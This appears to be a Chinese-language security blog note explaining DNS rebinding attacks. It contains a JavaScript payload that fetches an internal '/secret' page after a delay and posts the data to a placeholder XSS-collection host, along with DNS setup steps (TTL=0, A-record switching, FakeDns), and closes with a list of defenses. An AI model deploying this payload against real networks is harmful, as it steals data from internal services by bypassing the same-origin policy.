DNS-Rebinding

DNS-Rebinding

DNS-Rebinding绕过同源策略

  • 设置TTL=0
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<script src=http://*********/static/jquery.min.js ></script>
<script>

setTimeout("POST()",90000)

function POST(){
alert();
$.ajax({
url:"http://www.x.com/secret",
type:"GET",
success: function(data){
$.post("http://你的xss平台",{'a':data})}
}
);
}

</script>
  1. 设置你的国外域名的TTL为很低,如TTL=0,提交之后服务器会请求dns的域名与ip的关系然后找到你的这个页面,然后开始执行js。
  2. 执行的时候先延迟90s,利用这延迟的90s,去修改你域名的A记录绑定到127.0.0.1上。
  3. 然后js延迟结束之后之后又会请求http://www.x.com/secret,由于你之前设置的TTL=0,所以又会重新向dns服务器请求一次ip。得到ip=127.0.0.1,而整个过程访问的都是同一域名,所以浏览器认为是安全的。就会成功去访问http://127.0.0.1/secret,从而绕过同源策略。
  • 绑定两条A记录
记录类型 主机记录 记录值
A @ 47.123.123.123
A @ 127.0.0.1

1/4概率先解析外网IP,后解析内网

  • 自建DNS服务器
记录类型 主机记录 记录值
NS test ns.tokyocold.top
A ns 123.123.123.123

ns记录表示域名test.tokyocold.top这个子域名指定由ns.tokyocold.top这个域名服务器来解析,然后a记录表示我的这个ns.tokyocold.top的位置在ip地址47.123.123.123上。
这样我们就可以在这个ip上搭建一个服务器就行了。
搭建:git clone https://github.com/Crypt0s/FakeDns
IP地址后面加上.xip.io
或者使用python的twisted

如何预防DNS重新绑定攻击

以下的一些方法可以有效的避免受到DNS重新绑定攻击:

  • 用户路由器使用强密码
  • 关闭用户路由器的外网访问权限
  • 浏览器实现DNS锁定:即IP地址锁定为DNS响应的第一个值
  • 此种方式可能会影响一些DDNS(动态域名)的合法使用,并且不能避免所有攻击。但是如果IP地址确实发生了改变,那么故障保护(停止解析)就显得十分重要,因为超过TTL时限的解析结果较受攻击者控制的DNS解析结果来的更加安全
  • 过滤DNS解析结果中的内网IP地址
  • 外网的DNS服务器解析结果同样使用内网地址过滤策略
  • 系统管理员可以在内部网络部署本地域名服务器,将内网地址解析为内网主机,从而阻止内网地址被解析为外网服务的恶意解析结果。
  • 在防火墙中配置DNS过滤策略
  • Web服务器拒绝响应含有可疑主机头的HTTP请求
  • 火狐浏览器的NoScript扩展可以提供部分防护

reference:
http://www.bendawang.site